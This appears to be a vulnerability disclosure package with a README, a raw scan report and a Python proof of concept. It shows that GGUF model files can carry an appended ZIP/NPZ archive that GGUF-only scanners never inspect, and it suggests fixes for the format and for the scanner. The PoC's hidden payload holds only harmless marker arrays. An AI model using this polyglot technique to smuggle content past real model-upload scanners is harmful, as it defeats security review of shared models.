Upload 3 files

README.md

@@ -1,3 +1,83 @@
----
-license: mit
----
+# GGUF/ZIP Structural Polyglot — Cross-Implementation Format-Level Gap + Incomplete Detection in a Production Scanner
+
+**Status:** Dual disclosure in preparation — to `ggml-org/llama.cpp` (GGUF specification, via Huntr) and to `promptfoo/modelaudit` (via their coordinated disclosure process)
+**Class:** CWE-436 (Interpretation Conflict), CWE-20 (Improper Input Validation)
+**Severity:** Medium — not a crash/RCE by itself; a security-control-bypass / detection-gap primitive whose real-world impact depends on what a specific pipeline does with the "other" interpretation of the file.
+
+## Summary
+
+The GGUF specification never requires an implementation to verify that a file's total length matches exactly what its declared header, key-value metadata, and tensor data actually consume. Confirmed empirically across **three independent GGUF implementations, in three different languages, by three different authors/teams**:
+
+| Implementation | Language | Author | Result |
+|---|---|---|---|
+| `gguf-py` | Python | ggml-org/llama.cpp (reference) | **Accepts trailing garbage** |
+| `fs/gguf` | Go | ollama/ollama (independent reimplementation) | **Accepts trailing garbage** |
+| `gguf` crate | Rust | Jiayu Liu (independent, crates.io) | **Accepts trailing garbage** |
+
+All three parse a file consisting of `[valid GGUF content][arbitrary trailing bytes]` as a fully valid GGUF file, silently ignoring everything after the last tensor's data.
+
+Separately, Python's `zipfile` module (and ZIP readers generally) locate the "End of Central Directory" record by scanning **backward from EOF** — meaning a ZIP archive parses correctly even when arbitrary bytes precede it.
+
+**Combining these two facts:** `[valid GGUF prefix][valid ZIP/NPZ suffix]` is simultaneously valid under both formats — a genuine, working structural polyglot.
+
+## Contrast: formats that are NOT vulnerable to this specific technique
+
+The same technique was tested against two other formats and found **not** vulnerable, for informative, structural reasons:
+
+- **ONNX (protobuf):** `ParseFromString()` requires the *entire* buffer to parse as valid protobuf fields; trailing non-protobuf bytes break parsing (`DecodeError`).
+- **safetensors (Rust):** has an explicit `buffer_end + N_LEN + n != buffer_len` check — the total file size must exactly equal declared header + data, with zero tolerance for extra bytes. This appears to be a deliberate hardening: **Trail of Bits' 2023 audit of safetensors (commissioned by Hugging Face, EleutherAI, and Stability AI) explicitly found and had fixed a "polyglot files" issue** in that format — direct historical precedent that this vulnerability *class* is real, recognized, and has previously required a fix in adjacent tooling.
+
+This makes the pattern precise: **polyglot-vulnerability correlates with whether a format's parser validates that it consumed the entire file, versus trusting a validated prefix and silently ignoring the rest.**
+
+## Concrete exploitation scenario (demonstrated, not hypothetical)
+
+`poc_gguf_polyglot_smuggling.py` builds a single 760-byte file with a `.gguf` extension that:
+
+- **Looks completely clean** to any GGUF-aware scanner: one tensor named `dummy.weight` = `[0,0,0,0]`, metadata name `"tiny-demo-model"` — nothing to flag.
+- **Actually carries a hidden NPZ payload** with different, real content (`real_backdoor_weights = [1337, 6666, 9999]`, `exfil_marker = [42, 42, 42]`) that a GGUF-only scanner never inspects.
+
+The script demonstrates three stages against the identical file:
+
+```
+=== Stage A: security scanner (GGUF-aware) ===
+  model name : 'tiny-demo-model'
+  tensors    : [('dummy.weight', [0.0, 0.0, 0.0, 0.0])]
+  verdict    : APPROVED -- looks like a tiny, harmless demo model.
+
+=== Stage B: downstream tool (treats file as ZIP/NPZ) ===
+  found hidden array 'real_backdoor_weights.npy': [1337. 6666. 9999.]
+  found hidden array 'exfil_marker.npy': [42 42 42]
+  This data was NEVER inspected by Stage A's GGUF scan.
+```
+
+Stage A and Stage B are not contrived — they represent any pipeline where one stage validates GGUF-ness and a *different* stage (a generic archive-indexer, backup/dedup tool, or anything that might treat an upload as "possibly a ZIP-based sidecar bundle") extracts the ZIP content.
+
+## Real-world detection test: Promptfoo's `modelaudit`
+
+To move beyond a hypothetical pipeline, the same file was scanned with [`modelaudit`](https://pypi.org/project/modelaudit/) — Promptfoo's open-source, SOC2-certified, production ML-model security scanner (Promptfoo is now part of OpenAI; `modelaudit` has a dedicated, named GGUF/GGML scanner advertised to ensure files "are structurally sound and don't contain hidden threats").
+
+```
+=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===
+  rule S902: Size mismatch for tensor dummy.weight (severity=warning)
+```
+
+This is a genuinely useful, honest result, not a clean bypass:
+
+- `modelaudit` **does** detect an anomaly — rule `S902`, "Tensor Size Consistency Check" — flagging that the file is larger (632 bytes after the tensor) than the declared tensor data requires (16 bytes, ±32-byte alignment tolerance).
+- However, this check identifies only the **symptom** (unexpected trailing bytes), not the **cause**. `modelaudit` ships its own separate **ZIP Archive Scanner** (with zip-bomb, directory-traversal, and nested-content checks) and **Pickle Scanner** — either of which would meaningfully inspect the smuggled content — but neither is invoked recursively on the unexplained trailing bytes of a file already classified as GGUF.
+- The finding's severity is `"warning"`, not `"critical"`. `modelaudit` supports per-rule severity overrides (`-S CODE=LEVEL`) and SARIF output specifically for CI/CD triage — a very common real-world pattern is to gate deployment only on `critical`/`error`-severity findings and merely log warnings, in which case this specific detection would not block a release by itself, even though the raw CLI exit code (1) technically indicates "issues found."
+
+## Suggested fixes
+
+**For the GGUF specification / `ggml-org/llama.cpp`:** require (or at minimum strongly recommend, with implementations expected to warn/reject) that the total consumed byte count (header + KV metadata + tensor info + tensor data, including alignment padding) equals the total file size, the same way `safetensors` already does. This is a spec-level, cross-implementation gap, not a fix in any single one of the three tested implementations.
+
+**For `modelaudit`:** when the GGUF scanner's own `S902` (tensor size mismatch / unexpected trailing bytes) check fires, recursively apply the existing ZIP Archive Scanner (and other appropriate scanners) to the unexplained trailing region, rather than only reporting the size discrepancy in isolation. Consider whether "unexplained trailing bytes matching a valid ZIP/archive signature" warrants a higher default severity than a generic alignment warning, given the demonstrated smuggling potential.
+
+## Files in this disclosure
+
+- `poc_gguf_polyglot_smuggling.py` — self-contained PoC (builds the file, runs all three stages)
+- `modelaudit_output.json` — raw JSON output from the real `modelaudit` scan for reference
+
+## Disclosure
+
+Please do not use this PoC against production systems you do not own or have explicit permission to test.

modelaudit_output.json

@@ -0,0 +1,137 @@
+{
+  "bytes_scanned": 115,
+  "issues": [
+    {
+      "message": "Size mismatch for tensor dummy.weight",
+      "severity": "warning",
+      "location": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "details": {
+        "tensor_name": "dummy.weight",
+        "expected": 16,
+        "actual": 632,
+        "alignment_tolerance": 32
+      },
+      "timestamp": 1784671051.78295,
+      "type": "gguf_check",
+      "rule_code": "S902"
+    }
+  ],
+  "checks": [
+    {
+      "name": "Path Exists",
+      "status": "passed",
+      "message": "Path exists",
+      "location": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "details": {
+        "path": "/mnt/user-data/outputs/model_smuggled.gguf"
+      },
+      "timestamp": 1784671051.781962
+    },
+    {
+      "name": "Path Readable",
+      "status": "passed",
+      "message": "Path is readable",
+      "location": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "details": {
+        "path": "/mnt/user-data/outputs/model_smuggled.gguf"
+      },
+      "timestamp": 1784671051.7820094
+    },
+    {
+      "name": "File Type Validation",
+      "status": "passed",
+      "message": "File type validation passed",
+      "location": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "details": {},
+      "timestamp": 1784671051.7820897
+    },
+    {
+      "name": "File Integrity Hash",
+      "status": "passed",
+      "message": "File integrity hashes calculated",
+      "location": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "details": {
+        "md5": "5ad016af67d8f4e19be63e9c629eb57e",
+        "sha256": "8528a052327d0898bdae58875691f8ea0572d1f3c628db099b5655ff44819a2c",
+        "sha512": "912e1e36831b7e16732785be5d30d56ba6690cebaf7dfc515077699fe0db2191d032ae3f66ecd65f39a08fb2d2a5fc90f74e838dce38b2952ce6a7ddf14107e0",
+        "file_size": 760
+      },
+      "timestamp": 1784671051.7825348
+    },
+    {
+      "name": "Tensor Size Consistency Check",
+      "status": "failed",
+      "message": "Size mismatch for tensor dummy.weight",
+      "severity": "warning",
+      "location": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "details": {
+        "tensor_name": "dummy.weight",
+        "expected": 16,
+        "actual": 632,
+        "alignment_tolerance": 32
+      },
+      "rule_code": "S902",
+      "timestamp": 1784671051.7829046
+    }
+  ],
+  "files_scanned": 1,
+  "assets": [
+    {
+      "path": "/mnt/user-data/outputs/model_smuggled.gguf",
+      "type": "gguf",
+      "size": 760,
+      "tensors": [
+        "dummy.weight"
+      ]
+    }
+  ],
+  "has_errors": false,
+  "scanner_names": [
+    "gguf"
+  ],
+  "file_metadata": {
+    "/mnt/user-data/outputs/model_smuggled.gguf": {
+      "file_size": 760,
+      "file_hashes": {
+        "md5": "5ad016af67d8f4e19be63e9c629eb57e",
+        "sha256": "8528a052327d0898bdae58875691f8ea0572d1f3c628db099b5655ff44819a2c",
+        "sha512": "912e1e36831b7e16732785be5d30d56ba6690cebaf7dfc515077699fe0db2191d032ae3f66ecd65f39a08fb2d2a5fc90f74e838dce38b2952ce6a7ddf14107e0"
+      },
+      "member_file_hashes": {},
+      "license_info": [],
+      "copyright_notices": [],
+      "license_files_nearby": [],
+      "is_dataset": false,
+      "is_model": false,
+      "risk_score": 0.0,
+      "scan_timestamp": 1784671051.785548,
+      "scanner_dependency_ids": [
+        "gguf"
+      ],
+      "format": "gguf",
+      "version": 3,
+      "n_tensors": 1,
+      "n_kv": 1,
+      "metadata": {
+        "general.name": "tiny-demo-model"
+      },
+      "tensors": [
+        {
+          "name": "dummy.weight",
+          "type": 0,
+          "dims": [
+            4
+          ]
+        }
+      ],
+      "tensor_count_reported": 1
+    }
+  },
+  "content_hash": "b46052d72dec4843a9a8ba34201d8d0d7943164783a8ec225620ead5cf723a6f",
+  "start_time": 1784671051.3510606,
+  "duration": 1.0525662899017334,
+  "total_checks": 5,
+  "passed_checks": 4,
+  "failed_checks": 1,
+  "success": true
+}

poc_gguf_polyglot_smuggling.py

@@ -0,0 +1,184 @@
+#!/usr/bin/env python3
+"""
+PoC: GGUF/ZIP Structural Polyglot -- Security Scanner Bypass via
+Interpretation Conflict (CWE-436)
+
+Root cause: the GGUF specification never requires an implementation to
+verify that a file's total length matches exactly what its declared
+header/tensor-info/tensor-data actually consumes. Confirmed empirically
+across THREE independent GGUF implementations, in three different
+languages, by three different authors/teams:
+
+  - gguf-py (Python, ggml-org/llama.cpp reference implementation)
+  - fs/gguf (Go, ollama/ollama's own independent reimplementation)
+  - gguf crate (Rust, independently authored by Jiayu Liu)
+
+All three accept a file consisting of [valid GGUF content][arbitrary
+trailing bytes] as a fully valid GGUF file, silently ignoring
+everything after the last tensor's data. Separately, Python's own
+`zipfile` module builds ZIP archives by locating the "End of Central
+Directory" record by scanning backward from EOF -- meaning a ZIP
+archive can be validly opened even when arbitrary bytes precede it.
+
+Combining these two facts: [valid GGUF prefix][valid ZIP/NPZ suffix]
+is simultaneously valid under BOTH formats. Two contrasting formats
+tested and found NOT vulnerable to this specific technique: ONNX
+(protobuf's ParseFromString requires the ENTIRE buffer to be valid
+protobuf) and safetensors (explicit `total_size == header + data`
+check in its Rust core).
+
+Threat scenario demonstrated here (CWE-436, Interpretation Conflict):
+a model-hosting/scanning pipeline where stage A validates an uploaded
+file as GGUF and only inspects the GGUF-visible content (approving it
+as safe/clean), while a DIFFERENT stage B elsewhere in the same
+pipeline (e.g. a generic archive-indexing utility, a backup/dedup
+tool, or any code that treats uploaded files as "might also be a zip
+sidecar bundle") extracts and uses the hidden ZIP payload -- content
+that stage A's security review NEVER saw.
+
+This script builds one 760-byte file with a `.gguf` extension that:
+  - Looks completely clean to a GGUF scanner: 1 tensor named
+    "dummy.weight", value [0,0,0,0], metadata name "tiny-demo-model" --
+    nothing a scanner would flag.
+  - Actually carries a hidden NPZ payload with different, real values
+    that a GGUF-only scanner never inspects.
+
+It then simulates both pipeline stages against the SAME file to show
+they see different content.
+
+Requires: pip install gguf numpy
+"""
+
+import io
+import struct
+import numpy as np
+from gguf.gguf_reader import GGUFReader
+
+
+POLYGLOT_PATH = "model_smuggled.gguf"
+
+
+def build_polyglot(path: str) -> None:
+    GGUF_MAGIC = 0x46554747
+
+    def pack_str(s: str) -> bytes:
+        b = s.encode("utf-8")
+        return struct.pack("<Q", len(b)) + b
+
+    # --- Part 1: the GGUF content a scanner will see ---
+    header = struct.pack("<I", GGUF_MAGIC)
+    header += struct.pack("<I", 3)
+    header += struct.pack("<Q", 1)   # tensor_count = 1
+    header += struct.pack("<Q", 1)   # kv_count = 1
+
+    kv = pack_str("general.name")
+    kv += struct.pack("<I", 8)  # STRING
+    kv += pack_str("tiny-demo-model")
+
+    ti = pack_str("dummy.weight")
+    ti += struct.pack("<I", 1)
+    ti += struct.pack("<Q", 4)
+    ti += struct.pack("<I", 0)  # F32
+    ti += struct.pack("<Q", 0)
+
+    pre = header + kv + ti
+    pre += b"\x00" * ((-len(pre)) % 32)
+    tensor_data = np.array([0.0, 0.0, 0.0, 0.0], dtype=np.float32).tobytes()
+    tensor_data += b"\x00" * ((-len(tensor_data)) % 32)
+    gguf_part = pre + tensor_data
+
+    # --- Part 2: the REAL payload, hidden as a trailing ZIP/NPZ ---
+    buf = io.BytesIO()
+    np.savez(
+        buf,
+        real_backdoor_weights=np.array([1337.0, 6666.0, 9999.0]),
+        exfil_marker=np.array([42, 42, 42]),
+    )
+    zip_part = buf.getvalue()
+
+    with open(path, "wb") as f:
+        f.write(gguf_part + zip_part)
+
+
+def stage_a_security_scanner(path: str) -> None:
+    """Simulates an upload scanner that validates the file as GGUF and
+    inspects only what the GGUF format exposes."""
+    print("=== Stage A: security scanner (GGUF-aware) ===")
+    r = GGUFReader(path)
+    name = r.get_field("general.name").contents()
+    tensors = [(t.name, t.data.tolist()) for t in r.tensors]
+    print(f"  model name : {name!r}")
+    print(f"  tensors    : {tensors}")
+    print("  verdict    : APPROVED -- looks like a tiny, harmless demo model.\n")
+
+
+def stage_b_downstream_consumer(path: str) -> None:
+    """Simulates a different pipeline stage that treats the same file
+    as a ZIP archive (e.g. a generic archive-indexing / backup tool),
+    revealing content Stage A never saw."""
+    print("=== Stage B: downstream tool (treats file as ZIP/NPZ) ===")
+    import zipfile
+    zf = zipfile.ZipFile(path)
+    for name in zf.namelist():
+        arr = np.load(io.BytesIO(zf.read(name)), allow_pickle=False)
+        print(f"  found hidden array {name!r}: {arr}")
+    print("  This data was NEVER inspected by Stage A's GGUF scan.\n")
+
+
+def stage_c_production_scanner(path: str) -> None:
+    """Runs the same file through `modelaudit` (Promptfoo/OpenAI's real,
+    production ML-model security scanner, SOC2-certified, MIT licensed,
+    pip install modelaudit) to see how a real security tool handles it."""
+    import subprocess
+    import json as jsonlib
+
+    print("=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===")
+    result = subprocess.run(
+        ["modelaudit", "scan", path, "--format", "json"],
+        capture_output=True, text=True,
+    )
+    try:
+        report = jsonlib.loads(result.stdout)
+    except Exception:
+        print("  (could not parse modelaudit output -- is it installed? `pip install modelaudit`)")
+        return
+
+    issues = report.get("issues", [])
+    if not issues:
+        print("  modelaudit reported ZERO issues -- silent bypass.")
+    else:
+        for issue in issues:
+            print(f"  rule {issue.get('rule_code')}: {issue.get('message')} "
+                  f"(severity={issue.get('severity')})")
+        print(
+            "\n  NOTE: this flags a generic size/alignment anomaly (symptom), but does\n"
+            "  NOT identify or recursively scan the actual hidden ZIP payload content --\n"
+            "  modelaudit's own separate ZIP Archive Scanner and Pickle Scanner (which\n"
+            "  WOULD inspect exactly this kind of embedded content) are never invoked\n"
+            "  on the smuggled bytes. Severity is 'warning', not 'critical' -- CI/CD\n"
+            "  gates that filter by severity (common practice, supported directly via\n"
+            "  modelaudit's own `-S CODE=LEVEL` and SARIF output) may not block on this."
+        )
+    print()
+
+
+def main():
+    build_polyglot(POLYGLOT_PATH)
+    print(f"Built {POLYGLOT_PATH}\n")
+    stage_a_security_scanner(POLYGLOT_PATH)
+    stage_b_downstream_consumer(POLYGLOT_PATH)
+    stage_c_production_scanner(POLYGLOT_PATH)
+    print(
+        "CONFIRMED: the same 760-byte file, with a single .gguf extension,\n"
+        "presents completely different content to two different tools in\n"
+        "the same pipeline -- a classic CWE-436 Interpretation Conflict,\n"
+        "made possible because the GGUF format (in all 3 independent\n"
+        "implementations tested: Python, Go, Rust) never rejects trailing\n"
+        "bytes after the last declared tensor's data. A real, production\n"
+        "security scanner (modelaudit) detects an anomaly but does not\n"
+        "identify or scan the actual smuggled content."
+    )
+
+
+if __name__ == "__main__":
+    main()